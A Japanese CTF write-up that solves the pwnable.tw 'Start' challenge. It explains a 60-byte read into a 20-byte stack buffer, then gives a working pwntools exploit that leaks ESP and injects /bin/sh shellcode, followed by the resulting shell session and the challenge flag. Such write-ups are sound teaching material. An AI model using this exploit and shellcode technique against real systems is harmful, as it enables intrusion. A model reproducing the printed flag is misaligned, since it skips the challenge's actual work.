pwnable.tw writeup

Posted on Jun 26, 2023

pwnable.twを解いていきます。解けなくても解法はまとめます。

Start

Just a start.

nc chall.pwnable.tw 10000

start

調査

実行ファイルが与えられる。

file start 
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

実行してみると、文字列が入力できることがわかる。たくさん文字を入力するとSegmentation faultが発生する。

# ./start
Let's start the CTF:

# ./start
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

gdbで実行してみる。試しに50文字入力してみるとEIPが書き換えられる。

# gdb -q start
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /ctf/Start/start 
Let's start the CTF:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x33 ('3')
EBX: 0x0 
ECX: 0xffffd7b4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
EDX: 0x3c ('<')
ESI: 0x0 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffffd7cc ("(AADAA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
EIP: 0x41412d41 ('A-AA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd7cc ("(AADAA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0004| 0xffffd7d0 ("AA;AA)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0008| 0xffffd7d4 ("A)AAEAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0012| 0xffffd7d8 ("EAAaAA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0016| 0xffffd7dc ("AA0AAFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0020| 0xffffd7e0 ("AFAAbA\n\377:\331\377\377E\331\377\377Q\331\377\377`\331\377\377k\331\377\377v\331\377\377\275\331\377\377\237\337\377\377\301\337\377\377\320\337\377\377\331\337\377\377")
0024| 0xffffd7e4 --> 0xff0a4162 
0028| 0xffffd7e8 --> 0xffffd93a ("HOME=/root")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412d41 in ?? ()

以下から21文字目から4バイトがEIPとなっていることがわかる。

gdb-peda$ patto 'A-AA'
A-AA found at offset: 20

objdumpで逆アセンブルしてみる。

# objdump --no-show-raw-insn -M intel -d start   

start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:       push   esp
 8048061:       push   0x804809d
 8048066:       xor    eax,eax
 8048068:       xor    ebx,ebx
 804806a:       xor    ecx,ecx
 804806c:       xor    edx,edx
 804806e:       push   0x3a465443
 8048073:       push   0x20656874
 8048078:       push   0x20747261
 804807d:       push   0x74732073
 8048082:       push   0x2774654c
 8048087:       mov    ecx,esp
 8048089:       mov    dl,0x14
 804808b:       mov    bl,0x1
 804808d:       mov    al,0x4
 804808f:       int    0x80
 8048091:       xor    ebx,ebx
 8048093:       mov    dl,0x3c
 8048095:       mov    al,0x3
 8048097:       int    0x80
 8048099:       add    esp,0x14
 804809c:       ret    

0804809d <_exit>:
 804809d:       pop    esp
 804809e:       xor    eax,eax
 80480a0:       inc    eax
 80480a1:       int    0x80

0x0804806e~0x08048082Let's start CTF:をスタックに格納する。また、0x8048089~0x804808fでcall命令を実行する。ここでは、ecx(=esp)を先頭アドレスとした文字列を0x14(=20)バイト分write(eaxが0x04)する。つまり、標準出力にLet's start CTF:を出力する。

また、0x8048091~0x8048097でcall命令を実行する。ここでは、標準入力から(ebxが0x00)、60バイト分(edxが0x3c=60)read(eaxが0x03)する。

20バイトしか書き込めないにもかかわらず、60バイトreadする部分が脆弱性となる。20バイトより多く文字を入力すると、0x804809cでretした際にジャンプする先のアドレス(0x8048061でpushしている0x804809d)が書き変わってしまう。

エクスプロイト

EIPを書き換えることで任意のシェルコードを実行するために、以下をひとまとめにした文字列を送信する必要がある。

  • 適当な20文字
  • シェルコードの先頭アドレス
  • /bin/shを起動するシェルコード

アドレス空間のランダム化(ASLR)が有効となっているため、スタック領域の配置がstart実行ごとに変わってしまう。そのため、スタック領域に書き込むシェルコードの先頭アドレスを事前に取得することはできない。つまり、_start関数の実行中に、スタック領域のアドレス、espやebpを取得する必要がある。

そこで、0x8048060のespをスタックにpushしている部分に着目する。これとEIP書き換えによる任意アドレスへのジャンプを利用して、0x8048087~0x804808fの20バイト分write()を実行し、start実行時のESPを標準出力に出力する。

あとは、シェルコードの先頭アドレスであるが、start実行時のESP+20バイトのアドレスがシェルコードの先頭アドレスとなる。

以下、solver。

from pwn import *

def leak_esp(r):
	address_1 = p32(0x08048087)             # mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80; 
	payload = b"A"*20 + address_1
	print(r.recvuntil('CTF:'))
	r.send(payload)
	esp = u32(r.recv()[:4])
	print("Address of ESP: ", hex(esp))
	return esp

shellcode = asm('\n'.join([
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'xor edx, edx',
    'xor ecx, ecx',
    'mov ebx, esp',
    'mov eax, 0xb',
    'int 0x80',
]))

if __name__ == "__main__":
    context.arch = 'i386'
    r = remote('chall.pwnable.tw', 10000)
    esp = leak_esp(r)
    payload = b"A"*20  + p32(esp + 20) + shellcode 
    r.send(payload)
    r.interactive()
# python3 solver.py
solver.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  'push %d' % u32('/sh\0'),
solver.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  'push %d' % u32('/bin'),
[+] Opening connection to chall.pwnable.tw on port 10000: Done
solver.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(r.recvuntil('CTF:'))
b"Let's start the CTF:"
Address of ESP:  0xffac1210
[*] Switching to interactive mode
$  
$ pwd
/
$ cd /home/start
$ ls
flag
run.sh
start
$ cat flag
FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}